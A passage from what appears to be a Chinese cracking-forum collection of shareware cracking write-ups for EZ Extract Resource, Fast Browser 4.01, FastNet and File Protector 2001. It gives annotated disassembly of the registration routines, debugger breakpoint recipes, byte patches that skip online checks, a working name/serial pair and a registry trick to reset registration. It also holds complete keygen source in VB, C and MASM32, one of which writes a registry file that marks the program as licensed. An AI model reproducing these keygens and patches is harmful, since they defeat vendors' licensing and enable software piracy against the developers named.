:004AE2A1 83FA04 cmp edx, 00000004比较余数是否为4
:004AE2A4 7502 jne 004AE2A8不为4则跳
:004AE2A6 B301 mov bl, 01设成功标志位为1

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004AE247(C), :004AE267(C), :004AE278(C), :004AE280(C), :004AE2A4(C)
|
:004AE2A8 33C0 xor eax, eax
:004AE2AA 5A pop edx
:004AE2AB 59 pop ecx
:004AE2AC 59 pop ecx
:004AE2AD 648910 mov dword ptr fs:[eax], edx
:004AE2B0 68C5E24A00 push 004AE2C5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004AE2C3(U)
|
:004AE2B5 8D45FC lea eax, dword ptr [ebp-04]
:004AE2B8 E8FB58F5FF call 00403BB8
:004AE2BD C3 ret
②*********************************************************
:00404124 85C0 test eax, eax测试是否为空
:00404126 7440 je 00404168
:00404128 85D2 test edx, edx
:0040412A 7431 je 0040415D
:0040412C 53 push ebx
:0040412D 56 push esi
:0040412E 57 push edi
:0040412F 89C6 mov esi, eax　A1910或A1423
:00404131 89D7 mov edi, edx输入的密码。
:00404133 8B4FFC mov ecx, dword ptr [edi-04]字符数0A
:00404136 57 push edi
:00404137 8B56FC mov edx, dword ptr [esi-04]此处为05
:0040413A 4A dec edx 此处为04
:0040413B 781B js 00404158
:0040413D 8A06 mov al, byte ptr [esi]此处为第一个字符。
:0040413F 46 inc esi
:00404140 29D1 sub ecx, edx 循环次数。
:00404142 7E14 jle 00404158

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404156(U)
|
:00404144 F2 repnz
:00404145 AE scasb
:00404146 7510 jne 00404158不同则跳
:00404148 89CB mov ebx, ecx
:0040414A 56 push esi
:0040414B 57 push edi
:0040414C 89D1 mov ecx, edx
:0040414E F3 repz
:0040414F A6 cmpsb两个字符串的2、3、4、5位相比较。
:00404150 5F pop edi
:00404151 5E pop esi
:00404152 740C je 00404160相同则跳到④处
:00404154 89D9 mov ecx, ebx
:00404156 EBEC jmp 00404144

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040413B(C), :00404142(C), :00404146(C)
|
:00404158 5A pop edx
:00404159 31C0 xor eax, eax
:0040415B EB08 jmp 00404165

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040412A(C)
|
:0040415D 31C0 xor eax, eax
:0040415F C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404152(C)
|④*************************************************************
:00404160 5A pop edx
:00404161 89F8 mov eax, edi
:00404163 29D0 sub eax, edx设成功标志EAX为1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040415B(U)
|
:00404165 5F pop edi
:00404166 5E pop esi
:00404167 5B pop ebx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404126(C)
|
:00404168 C3 ret
⑤***********************************************************失败
:004A61D9 6A00 push 00000000
:004A61DB 8D55EC lea edx, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"无效 ID 或名称"
|
:004A61DE B870624A00 mov eax, 004A6270
:004A61E3 E808900000 call 004AF1F0
:004A61E8 8B45EC mov eax, dword ptr [ebp-14]
:004A61EB 668B0DA0624A00 mov cx, word ptr [004A62A0]
:004A61F2 B201 mov dl, 01
:004A61F4 E80B25FBFF call 00458704

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A60F5(U), :004A61D7(U)
|
:004A61F9 33C0 xor eax, eax
:004A61FB 5A pop edx
:004A61FC 59 pop ecx
:004A61FD 59 pop ecx
:004A61FE 648910 mov dword ptr fs:[eax], edx
:004A6201 6828624A00 push 004A6228

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A6226(U)
|
:004A6206 8D45EC lea eax, dword ptr [ebp-14]
:004A6209 BA03000000 mov edx, 00000003
:004A620E E8C9D9F5FF call 00403BDC
:004A6213 8D45F8 lea eax, dword ptr [ebp-08]
:004A6216 BA02000000 mov edx, 00000002
:004A621B E8BCD9F5FF call 00403BDC
:004A6220 C3 ret
4、从上面的分析来看。此软件的注册码有两种，一种是以A1910为开头，另一种是以A1423为开头。而第6、7、8位可以为任意数字，最后两位数字之和的个位数必须为8。怎么组和你自己算算。如0、8；1、7；2、6；3、5;4、4；9、9。
NAME可以为任意。


EZ Extract Resource v1.3

 标 题:来篇简单的破文，帮我写注册机！！ (7千字)
发信人:Turkey2001
时 间:2002-1-13 13:56:29
详细信息:
EZ Extract Resource v1.3
软件介绍：
懒的写了，反正是个资源提取软件！
下载地址：www.seamoontech.com

废话少说，下载安装后，运行程序，弹出注册框，输入用户名：Turkey，注册码：987654321，确定。软件告诉你要重新运行软件来检查注册成功与否。好，关闭软件，我门来找它把注册信息放的哪里里了，呵呵。运气好，注册码存放在注册表里面，而且是明文形式的，好说。
启动trw，load软件，在入口处被trw断下，我们下断点
bpx RegQueryValueExa do "db *(esp+8)"
先解释一下这个命令的作用，当软件去读取注册表中某一个键的值的时候，就会被trw中断下来，且自动显示*(esp+8)的内容，内容就是那个键的名称！双引号中就是被断下来后执行的命令，这样我们可以省很多操作，不要问我为什么*(esp+8)中就是那个键的名称，我也不知道，我只是依葫芦画瓢！
接下来按F5让软件继续运行，在中断N次后，在trw的数据窗口的右上角区域，终于看到了存放用户名的那个键的名称“regusername”，再按几下F5，看到了存放注册码的那个键的名称“regcode”，再安一下F5，也就是当你第二次看到“regcode”时（为什么实在第二次？因为我试过啊，再按F5你看到的就不是regcode啦，所以是第二次啦），下bd *，然后pmodule回到程序领空，这时候改用F10开始慢慢的，小心的跟踪，不久你就来到如下地方：
|:0040CE56
|
:0040D5B0 6AFF push FFFFFFFF
:0040D5B2 68B0DB4500 push 0045DBB0
:0040D5B7 64A100000000 mov eax, dword ptr fs:[00000000]
:0040D5BD 50 push eax
:0040D5BE 64892500000000 mov dword ptr fs:[00000000], esp
:0040D5C5 81ECD0000000 sub esp, 000000D0
:0040D5CB C78424D800000000000000 mov dword ptr [esp+000000D8], 00000000
:0040D5D6 8B8424E0000000 mov eax, dword ptr [esp+000000E0]//用户名送eax
:0040D5DD 6874CC4700 push 0047CC74
:0040D5E2 50 push eax
:0040D5E3 E8D1A20100 call 004278B9
:0040D5E8 83C408 add esp, 00000008
:0040D5EB 85C0 test eax, eax//测试用户名是否为空
:0040D5ED 0F8432010000 je 0040D725//空就跳走
:0040D5F3 8B8C24E4000000 mov ecx, dword ptr [esp+000000E4]//注册码送ecx
:0040D5FA 6874CC4700 push 0047CC74
:0040D5FF 51 push ecx
:0040D600 E8B4A20100 call 004278B9
:0040D605 83C408 add esp, 00000008
:0040D608 85C0 test eax, eax//测试注册码是否为空
:0040D60A 0F8415010000 je 0040D725//空就跳走
:0040D610 8B9424E0000000 mov edx, dword ptr [esp+000000E0]//用户名送edx
:0040D617 53 push ebx
:0040D618 56 push esi
:0040D619 33C9 xor ecx, ecx
:0040D61B 8B72F8 mov esi, dword ptr [edx-08]//用户名长度送esi
:0040D61E C644240868 mov [esp+08], 68－－
:0040D623 85F6 test esi, esi |
:0040D625 C644240979 mov [esp+09], 79 |
:0040D62A C644240A64 mov [esp+0A], 64 |
:0040D62F C644240B73 mov [esp+0B], 73 这一段代码是在从[esp+08]处放入hydsoft字符串
:0040D634 C644240C6F mov [esp+0C], 6F |
:0040D639 C644240D66 mov [esp+0D], 66 |
:0040D63E C644240E74 mov [esp+0E], 74 |
:0040D643 C644240F00 mov [esp+0F], 00－－
:0040D648 7E3F jle 0040D689
:0040D64A 55 push ebp
:0040D64B 57 push edi
:0040D64C 8D7C3417 lea edi, dword ptr [esp+esi+17]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D685(C)
|
:0040D650 8B8424F0000000 mov eax, dword ptr [esp+000000F0]//用户名送eax
:0040D657 BD07000000 mov ebp, 00000007//7送ebp
:0040D65C 8A1C01 mov bl, byte ptr [ecx+eax]//[ecx+eax]送bl，eax中放的是用户名，第一次经过时ecx=0
:0040D65F 8BC1 mov eax, ecx//ecx->eax
:0040D661 99 cdq//edx清零
:0040D662 F7FD idiv ebp//（eax idiv ebp）->dl(指余数，下同)
:0040D664 0FBEC3 movsx eax, bl//bl->eax(带符号扩展，下同)
:0040D667 8BD9 mov ebx, ecx//ecx->ebx
:0040D669 0FBE541410 movsx edx, byte ptr [esp+edx+10]//[esp+edx+10]送edx，[esp+10]处放着字符串hydsoft
:0040D66E 03DA add ebx, edx//edx+ebx->ebx
:0040D670 03C3 add eax, ebx//ebx+eax->eax
:0040D672 BB09000000 mov ebx, 00000009//9送ebx
:0040D677 03C6 add eax, esi//eax+esi->eax，esi是用户名长度
:0040D679 99 cdq//edx清零
:0040D67A F7FB idiv ebx//(eax idiv ebx)->dl
:0040D67C 80C230 add dl, 30//dl+30->dl，实际上是将结果转换成阿拉伯数字
:0040D67F 41 inc ecx//ecx加1
:0040D680 8817 mov byte ptr [edi], dl//dl->[edi]
:0040D682 4F dec edi//edi减1
:0040D683 3BCE cmp ecx, esi//比较用户名是否取完
:0040D685 7CC9 jl 0040D650//没有取完，跳上去继续循环
:0040D687 5F pop edi
:0040D688 5D pop ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D648(C)
|
:0040D689 8D464D lea eax, dword ptr [esi+4D]//[esi+4D]送eax，实际上是用户名长度加上4D的结果送eax
:0040D68C B909000000 mov ecx, 00000009//9送ecx
:0040D691 99 cdq//edx清零
:0040D692 F7F9 idiv ecx//(eax idiv ecx)->dl
:0040D694 8B8424EC000000 mov eax, dword ptr [esp+000000EC]//用户输入的假注册码送eax
:0040D69B 80C230 add dl, 30//dl+30->dl，作用和上面一样
:0040D69E 88543410 mov byte ptr [esp+esi+10], dl//dl->[esp+esi+10]
:0040D6A2 C644341100 mov [esp+esi+11], 00//00->[esp+esi+11]，作为注册码的结束标志
:0040D6A7 8D742410 lea esi, dword ptr [esp+10]//真正的注册码送esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040D6CD(C)
|
:0040D6AB 8A10 mov dl, byte ptr [eax]//这里向下是将真假注册码一位以为的进行比较，一个经典的组合！！
:0040D6AD 8A1E mov bl, byte ptr [esi]
:0040D6AF 8ACA mov cl, dl
:0040D6B1 3AD3 cmp dl, bl
:0040D6B3 751E jne 0040D6D3//不正确就死
:0040D6B5 84C9 test cl, cl
:0040D6B7 7416 je 0040D6CF
:0040D6B9 8A5001 mov dl, byte ptr [eax+01]
:0040D6BC 8A5E01 mov bl, byte ptr [esi+01]
:0040D6BF 8ACA mov cl, dl
:0040D6C1 3AD3 cmp dl, bl
:0040D6C3 750E jne 0040D6D3//不正确就死
:0040D6C5 83C002 add eax, 00000002
:0040D6C8 83C602 add esi, 00000002
:0040D6CB 84C9 test cl, cl//取完了吗？
:0040D6CD 75DC jne 0040D6AB//没有取完就跳上去继续循环

好了，关键代码就这些了，在0040D6AB处d eax看到自己输入的假码，d esi看到正确的注册码！！！算法就不总结了，我懒啊，呵呵，简单，一看就懂！
还是总结一下我的注册信息：
用户名：Turkey
注册码：0666252

事后的一点废话：
在注册表的这个地方
[HKEY_CURRENT_USER\Software\SeaMoonTech\EZ Extract Resource\V1.3]
存放这你的注册信息，将它改动或删除就又可以注册了！！

转载请保持其完整性！

Cracker:Turkey/灭害灵
2002.1.11@22:36

标 题:贴它的vb注册机，感谢ssljx[BCG]的热心，是他写的！！ (1千字)
发信人:Turkey2001
时 间:2002-1-13 13:58:22
详细信息:

Private Sub Command1_Click(Index As Integer)
Dim lngLen As String
Dim strSN As String
Dim strTmp As String
Dim strsum As String
Dim str5 As String
Dim mb(0 To 6) As Long
Dim i, j, k, n As Long
Dim byteAry() As Byte
Dim regname, xz, ys As Long
strSN = ""
strTmp = Text2.Text
byteAry = StrConv(strTmp, vbFromUnicode)
For i = LBound(byteAry) To UBound(byteAry)
str5 = str5 & ChrW(byteAry(i))
Next i
strTmp = str5
lngLen = Len(strTmp)
If Len(strTmp) <= 0 Then
Form1.Hide
MsgBox "用户名不能为空！", 0, "错误提示"
Form1.Show
Exit Sub
End If

ReDim code(0 To lngLen) As Long
For j = 1 To Len("hydsoft")
mb(j - 1) = Asc(Mid("hydsoft", j, 1))
'mb(7) = 0
Next j
ys = 0
For k = 1 To lngLen
xz = Int(k - 1 / 7)
regname = Val(byteAry(k - 1))
If regname > 127 Then
regname = (255 - regname + 1) * (-1)
End If
xz = mb(ys) + xz + regname + lngLen
xz = xz Mod 9
code(lngLen - k) = xz + 48
ys = ys + 1
If ys > 6 Then
ys = 0
End If
Next k
code(lngLen) = (lngLen + 77) Mod 9 + 48
For n = 0 To lngLen
strSN = strSN & Chr(code(n))
Next n

Text3.Text = strSN

End Sub

Private Sub Command2_Click(Index As Integer)
Text2.Text = ""
Text3.Text = ""

End Sub

标 题:再来一个keymake的注册机！ (230字)
发信人:eryl
时 间:2002-1-13 17:53:30
详细信息:

keygen for ez:

用keymake14
1.中断地址：0040ce56
中断次数：1
首字节：e8
命令长度：5
2。中断地址：0040d6ad
中断次数：1
首字节：8a
命令长度：2
3。选择内存方式，在选择esi
4.输入个人信息，确定生成keygen!


Fast Browser4.01

 标 题:注册你的Fast Browser4.01 (7千字)
发信人:jieao
时 间:2001-10-6 14:32:00
详细信息:
注册你的Fast Browser4.01
URL:http://www.qwerks.com/download/2617/fbps.zip

用FILEINFO检测发现主程序是加了PECompact v1.40.2-5壳，用冲击波检测发现主程序的入口是502EC8（嘿嘿，感谢DBOY写的好东东），然后用TRW脱壳。

:004DB4CD 8D55F8 lea edx, dword ptr [ebp-08] <----装入用户名
:004DB4D0 8B83F8020000 mov eax, dword ptr [ebx+000002F8]
:004DB4D6 E80D9CF5FF call 004350E8 \
:004DB4DB 837DF800 cmp dword ptr [ebp-08], 00000000 |检测是否输入了用户名
:004DB4DF 751A jne 004DB4FB /
:004DB4E1 6A00 push 00000000
:004DB4E3 668B0D8CB64D00 mov cx, word ptr [004DB68C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DB479(C)
|
:004DB4EA B202 mov dl, 02

* Possible StringData Ref from Code Obj ->"Please input your user name."
|
:004DB4EC B898B64D00 mov eax, 004DB698
:004DB4F1 E8D601F8FF call 0045B6CC
:004DB4F6 E933010000 jmp 004DB62E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DB4DF(C)
|
:004DB4FB A1F0635000 mov eax, dword ptr [005063F0]
:004DB500 803800 cmp byte ptr [eax], 00
:004DB503 751C jne 004DB521
:004DB505 B811000000 mov eax, 00000011
:004DB50A E85DBEFCFF call 004A736C \
:004DB50F 84C0 test al, al |联上INTERNET吗？
:004DB511 741A je 004DB52D /没有,去死把，把741a改成9090
:004DB513 B810000000 mov eax, 00000010
:004DB518 E84FBEFCFF call 004A736C \
:004DB51D 84C0 test al, al |联上INTERNET吗？
:004DB51F 740C je 004DB52D /没有,去死把，把740c改成9090

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004DB503(C)
|
:004DB521 8BC3 mov eax, ebx
:004DB523 E818FDFFFF call 004DB240 call(1)<---比对注册码的call,进去看看
:004DB528 E901010000 jmp 004DB62E <---跳到出错信息“错误的注册信息”

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004DB511(C), :004DB51F(C)
|
:004DB52D 8D45FC lea eax, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"Connect to the Internet now so "
->"the program can
check your registration "
->"information online."
|
:004DB530 BAC0B64D00 mov edx, 004DB6C0

_________________________________________________________________________________________
call(1)
:004D4A48 55 push ebp <----我们停在这里
:004D4A49 8BEC mov ebp, esp
:004D4A4B 83C4F4 add esp, FFFFFFF4
:004D4A4E 53 push ebx
:004D4A4F 33C9 xor ecx, ecx
:004D4A51 894DF4 mov dword ptr [ebp-0C], ecx
:004D4A54 8955F8 mov dword ptr [ebp-08], edx
:004D4A57 8945FC mov dword ptr [ebp-04], eax
:004D4A5A 8B45FC mov eax, dword ptr [ebp-04]
:004D4A5D E842F7F2FF call 004041A4
:004D4A62 8B45F8 mov eax, dword ptr [ebp-08]
:004D4A65 E83AF7F2FF call 004041A4
:004D4A6A 33C0 xor eax, eax
:004D4A6C 55 push ebp
:004D4A6D 680F4B4D00 push 004D4B0F
:004D4A72 64FF30 push dword ptr fs:[eax]
:004D4A75 648920 mov dword ptr fs:[eax], esp
:004D4A78 837DFC00 cmp dword ptr [ebp-04], 00000000
:004D4A7C 741E je 004D4A9C
:004D4A7E 837DF800 cmp dword ptr [ebp-08], 00000000
:004D4A82 7418 je 004D4A9C
:004D4A84 8D55F4 lea edx, dword ptr [ebp-0C]
:004D4A87 8B45FC mov eax, dword ptr [ebp-04]
:004D4A8A E8D1FEFFFF call 004D4960 <----算法，进去看看
:004D4A8F 8B55F4 mov edx, dword ptr [ebp-0C] <----真码
:004D4A92 8B45F8 mov eax, dword ptr [ebp-08] <----假码（我们输入的）
:004D4A95 E866F6F2FF call 00404100 call(2) <----关键比对
:004D4A9A 7404 je 004D4AA0 <----相等，注册成功

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004D4A7C(C), :004D4A82(C)
|
:004D4A9C 33DB xor ebx, ebx
:004D4A9E EB02 jmp 004D4AA2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D4A9A(C)
|
:004D4AA0 B301 mov bl, 01

_______________________________________________________________________________________
call(2)
:004D4960 55 push ebp <----我们停在这里
:004D4961 8BEC mov ebp, esp
:004D4963 6A00 push 00000000
:004D4965 6A00 push 00000000
:004D4967 6A00 push 00000000
:004D4969 53 push ebx
:004D496A 56 push esi
:004D496B 57 push edi
:004D496C 8BF2 mov esi, edx
:004D496E 8945FC mov dword ptr [ebp-04], eax
:004D4971 8B45FC mov eax, dword ptr [ebp-04]
:004D4974 E82BF8F2FF call 004041A4
:004D4979 33C0 xor eax, eax
:004D497B 55 push ebp
:004D497C 683A4A4D00 push 004D4A3A
:004D4981 64FF30 push dword ptr fs:[eax]
:004D4984 648920 mov dword ptr fs:[eax], esp
:004D4987 8BC6 mov eax, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D4922(C)
|
:004D4989 E8E2F3F2FF call 00403D70
:004D498E 8B45FC mov eax, dword ptr [ebp-04]
:004D4991 E85AF6F2FF call 00403FF0 <----检测注册名的长度
:004D4996 83F803 cmp eax, 00000003 <----大于3吗？
:004D4999 0F8C80000000 jl 004D4A1F <----跳，就死拉
:004D499F 803D6C5E500000 cmp byte ptr [00505E6C], 00
:004D49A6 743E je 004D49E6
:004D49A8 8B45FC mov eax, dword ptr [ebp-04]
:004D49AB E840F6F2FF call 00403FF0
:004D49B0 8BF8 mov edi, eax
:004D49B2 85FF test edi, edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D494F(C)
|
:004D49B4 7E69 jle 004D4A1F
:004D49B6 BB01000000 mov ebx, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004D49E2(C)
|
:004D49BB 8B45FC mov eax, dword ptr [ebp-04]
:004D49BE 0FB64418FF movzx eax, byte ptr [eax+ebx-01]<----取注册名的最后一位的ASCII码（ebx注册名长度）
:004D49C3 B90A000000 mov ecx, 0000000A <----赋值
:004D49C8 33D2 xor edx, edx <----edx清零
:004D49CA F7F1 div ecx
:004D49CC 8BC2 mov eax, edx <----将余数放入eax(也就是真注册码）
:004D49CE 8D55F8 lea edx, dword ptr [ebp-08]
:004D49D1 E8BA49F3FF call 00409390
:004D49D6 8B55F8 mov edx, dword ptr [ebp-08]
:004D49D9 8BC6 mov eax, esi
:004D49DB E818F6F2FF call 00403FF8
:004D49E0 43 inc ebx
:004D49E1 4F dec edi
:004D49E2 75D7 jne 004D49BB <----循环

^_^算法简单吧
Jieao[CCG]
3177117154
004DB511 741a,9090
004DB51F 740c,9090
注册成功后在你的安装目录中会生成一个xxxx.key的文件（我的是8686.key),在\安装目录\Search\生成一个reg的文件
在注册表中添加HKEY_CURRENT_USER\Software\Sealine\fb\user键

标 题:注册机~~~不需要改动主程序~~` (1千字)
发信人:伪装者[CCG]
时 间:2001-10-7 3:56:29
详细信息:

 #include "stdio.h"
#include "process.h"
main()
{
unsigned char string[100];
int i,c;
long d=0;
FILE *fp=fopen("myname.reg","w");
char s[]="REGEDIT4\n[HKEY_CURRENT_USER\\Software\\Sealine\\fb\\user]\n\"\"=\"";
char s1[]="[set]\nregfile=cracknow.key\n";
char ren[]="copy reg search\reg/y";
char ren1[]="del reg";
printf("******Fast Browser 4.01********\nThis keygen is made by Pretender\nPlease
  input your name  : ");
gets(string);
fputs(s,fp);
fputs(string,fp);
fputc('"',fp);
fputc('\n',fp);
fclose(fp);
fp=fopen("reg","w");
fputs(s1,fp);
fclose(fp);
fp=fopen("cracknow.key","w");
strrev(string);
d=strlen(string);
printf("Your Register code is  : ");
for(i=0;i<d;i++)
{printf("%d",string[i]%10);fputc(string[i]%10+48,fp);}
fclose(fp);
printf("\n[ * myname.reg created successfully. Double-clice it to import it
  into\n    your registry  so that you can enjoy the unlimited
  licensed version . :-)");
printf("\n *****************************      ---
  ---    ---\n *Welcome to WWW.CRACKNOW.COM*      /
      /      / --\n *****************************
      ---    ---    --/\n");
system(ren);
system(ren1);
}


FASTNET

 标 题:好无聊，再转帖个利用原程序代码写汇编MASM32注册机的文章。照旧是英文。 (5千字)
发信人:CrackerABC[BCG]
时 间:2001-12-30 8:50:47
详细信息:
How to make a keygen for:

FASTNET

**- Written by tnHuAn -**

=================Introduction=================

Well, long time don't write anything. Now I back in this tutorial....You know,
I live in VietNam, this is a beautiful country, but in my country, Internet is
very expensive, so I must make something to speech my connection. And FastNet
is one of software I use .... And in this tutorial, I will show you :
HOW TO MAKE A KEYGEN FOR FASTNET, this is a shareware, a production of micro-team...

================Tools required================

SoftIce 4.05 ( I used SoftIce 4.05 for WinNT)
MASM 6.0 to code a keygen
Some music, some happy in cracking he he he....

==============Target's URL====================

http://www.micro-team.com

=================Essay========================

Now first of all, you must run this software... Then you will see the icon in
your system tray, right click on this icon, the choose Registration... You will
see your Primary Key, and all you must is : send you primary key to micro-team,
and get your Equal Key, then type it into text box, then you will have a
registered software. To make a Equal Key, you must pay for micro-team $29.
OK, now input your fake Equal Key, I use 123456789,

Then I set breakpoint in SoftIce : bpx getdlgitemtextA, and it break when I
click on Register button, now Using F10, and trace ....trace... Until you see
the second Call ( or the 3rd Call , I don't remember) then trace into this call,
and using F10 to trace... trace... Until you see this code :

mov dword ptr [ebp-08],1Fh

mov dword ptr [ebp-04],00h

jmp .....

mov edx, dword ptr [ebp-04]

add edx, 01

mov dword ptr [ebp-04], edx

cmp dword ptr [ebp-04],20h

jge ......

mov eax,[ebp+08]

add eax, dword ptr [ebp-04]

movsx ecx, byte ptr [eax]

mov edx, dword ptr [ebp-08]

sub edx, dword ptr [ebp-04]

mov eax, [ebp+08]

movsx edx,byte ptr [edx+eax]

mov eax, dword ptr [ebp-04]

add eax,ecx

lea eax,[eax+edx+05]

mov ecx, dword ptr [ebp-08]

mov edx, dword ptr [ebp-04]

lea ecx, [ecx+edx+01]

imul eax, ecx

cdq

mov ecx,1Ah

idiv ecx

add edx,41h

mov eax, dword ptr [ebp-04]

.........bla ..bla... ( I can't Remember all)

This is all of calculation your Equal Key, to make a keygen, all of you need is
code a keygen follow this asm code. Here is source code of my keygen :

.386

.model flat, stdcall

option casemap :none ; case sensitive

;------------------------------------------------

include \masm32\include\windows.inc

include \masm32\include\user32.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\user32.lib

includelib \masm32\lib\kernel32.lib

;------------------------------------------------

WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

;------------------------------------------------

.data

include about.inc

Caption db "Keygen for FastNet. Made by tnHuAn/Tres2K",0

moremsg db "Primary key must be 32 character",0

dlgtitle db "Another keygen of tnHuAn/ Tres2K",0

hInstance dd 0

hIcon dd 0

.data?

buffer db 512 dup(?)

buffer2 db 512 dup(?)

ebp04 db 512 dup(?)

ebp08 db 512 dup(?)

.const

DEMO equ 102

IDC_STATIC equ -1

IDC_INPUTBOX equ 1000

IDC_OUTPUTBOX equ 1001

IDC_REGBUTTON equ 1002

IDC_ABOUTBUTTON equ 1003

IDC_CANCELBUTTON equ 1004

.code

start:

; #########################################################################

invoke GetModuleHandle, NULL

mov hInstance, eax

invoke DialogBoxParam,hInstance,DEMO,0,ADDR WndProc,0

invoke ExitProcess,eax

; #########################################################################

WndProc proc hWin :DWORD,

uMsg :DWORD,

wParam :DWORD,

lParam :DWORD

.if uMsg == WM_INITDIALOG

invoke SendMessage,hWin,WM_SETTEXT,0,ADDR dlgtitle

xor eax, eax

.elseif uMsg == WM_COMMAND

.if wParam == IDC_REGBUTTON

push 100h

push offset buffer

push IDC_INPUTBOX

push hWin

call GetDlgItemTextA

cmp eax, 20h

jne @moreletters

call MakeHi

push offset [buffer2]

push IDC_OUTPUTBOX

push hWin

call SetDlgItemTextA

.elseif wParam == IDC_ABOUTBUTTON

push MB_OK

push offset Caption

push offset AboutMsg

push 0

call MessageBoxA

.elseif wParam == IDC_CANCELBUTTON

invoke EndDialog,hWin,0

.endif

.elseif uMsg == WM_CLOSE

invoke EndDialog,hWin,0

.endif

xor eax, eax

ret

@moreletters:

push offset [moremsg]

push IDC_OUTPUTBOX

push hWin

call SetDlgItemTextA

ret

WndProc endp

MakeHi PROC

push ebx

mov ebx,00

mov dword ptr [ebp08],1Fh

mov dword ptr [ebp04],00h

jmp @hehe

@batdau:

mov edx, dword ptr [ebp04]

add edx, 01

mov dword ptr [ebp04], edx

@hehe:

cmp dword ptr [ebp04],20h

jge @Ketthuc

mov eax, offset buffer

add eax, dword ptr [ebp04]

movsx ecx, byte ptr [eax]

mov edx, dword ptr [ebp08]

sub edx, dword ptr [ebp04]

mov eax, offset buffer

movsx edx,byte ptr [edx+eax]

mov eax, dword ptr [ebp04]

add eax,ecx

lea eax,[eax+edx+05]

mov ecx, dword ptr [ebp08]

mov edx, dword ptr [ebp04]

lea ecx, [ecx+edx+01]

imul eax, ecx

cdq

mov ecx,1Ah

idiv ecx

add edx,41h

mov eax, dword ptr [ebp04]

mov [buffer2+ebx],dl

inc ebx

jmp @batdau

@Ketthuc:

pop ebx

ret

MakeHi ENDP

end start

Well you can code keygen by yourself

======================Final Notes=========================

Ok, if you want to comment me something , please email : tnhuan19@hotmail.com

My Greetz Goes to:

All member of Tres2000: McCodEMaN, Sphinx, ....
All member of HAH, and Eddile in Digital Insight

Acid_Cool_178 ( Crack my crackme#6), BiSHoP, a_evil, tKc,....


File?Protector 2001?v2.05

 标 题: File Protector 2001 v2.05
发信人:BitRanger
时 间:2002.1.9
详细信息:

本文部分代码的HTML文件格式不太好,你也可以查看文本格式:点击查看.

一、前言
好久没有写破解心得了，前不久在完善了自己的两个软件后（重写了核心代码），终于想找一个软件来练练了，在一张最新D版光盘上找到了这个 File Protector 2000,版本旧了点，于是去作者的主页下了一个最新版本2001 v2.05,用了一下，感觉挺不错的，于是就将它CRACK了，另外也为了丰富一下我的网站， 于是就写下了这篇详细的破解过程。总的来说，这个软件还是很好破的，首先它没有压缩，更没用ASprotect之类的反CRACK加密，所以拿到手就可动手去Tracking，说了这些，那就让我们切入正题，Let's goooooooo~!
对了，别忘了去我的主页看看，那里有精彩的软件破解心得，软件汉化，以及本人自己写的实用软件呦!

二、TRACK工具
这次用到了TRW2000 v1.23，还有W32DASM、HIEW。

三、破解实录
每次我们在拿到一个软件之前，首先用FS、FI、GT2000之类的分析工具去分析一下该软件是被什么压缩软件压缩的，（本人最喜欢用的PEiDentifier,目前版本为0.7B，用它大都数经压缩软件压缩的都能查到），这次也不例外，经用PEiD分析后，发现这个软件是VC++写的，没有用压缩软件压缩。
没有压缩就好办，免得我们还要将它剥壳（麻烦）。
启动File Protector 2001(以下简称FP),弹出注册窗口，发现有注册名称，公司名称，以及注册序列号三项。胡乱填一下，Name:BitRanger,Commpany:BitRanger(Bit巡逻兵),Serial:123456789,注册，弹出“Registration failed !”，（好办，不像有点软件，注册序列号填入后，是在启动时验证，而不给出任何的错误提示信息），既然这个软件有错误信息框弹出，那我们就先用W32DASM打开它。

(1) 用W32DASM破获 --==>>假破
用W32DASM打开后，“串式参考”，查找到"Registration failed !",看以下代码：

:0040D2D4 85C0 test eax, eax
:0040D2D6 751E jne 0040D2F6
:0040D2D8 50 push eax

* Possible StringData Ref from Data Obj ->"Error"
:0040D2D9 686C964100 push 0041966C
* Possible StringData Ref from Data Obj ->"Registration failed !" <=-

向上看，有一句判断语句：
test eax,eax ，jne ...，

if ( eax == 0 )
弹出错误
else
跳转正确执行 --=>> 即弹出"Registration sucessfully!"注册成功

好吧，那就让我们改 jne 为 je ,借助HIEW 的F3,F2可直接修改ASM语句。
继续返回软件注册窗口，注册，弹出"Registration sucessfully!"，好高兴呀，难道就这样给破了吗？;-)嘻，也太...

别高兴的太早了，进入程序主界面后，发现还有Unregisted!字样，;-(怎样，不是显示已注册了吗？进入“关于”，发现软件还是没有被注册！:(

怒发冲冠（有冠吗?）!立即操起倚天剑TRW，砍它!!!

(2) 用TRW2000破 --==>>彻底搞定
打开TRW2000，Browse找到这个FP,Load,OK，进入TRW2000窗口了吧，F4，返回进入FP的注册窗口。
按照常理，我们填入Name:BitRanger,Commpanny:BitRanger(Bit巡逻兵),Serial:123456789。
Ctrl+N,进入TRW，下 bpx hmemcpy (内存复制) ,F4，返回软件注册窗口，“注册”啦，OK，被TRW正常拦截。
bd 1 别忘了;),别告诉我不知道他的意思;-)
F12 9次，F10几次吧，我们来到这个地址（为什么要到这个地址，你从这个地址往下再F10几次看看）：

015F:0040D2C6 LEA ECX,[ESP+18]
015F:0040D2CA PUSH ECX
015F:0040D2CB LEA ECX,[ESP+10]
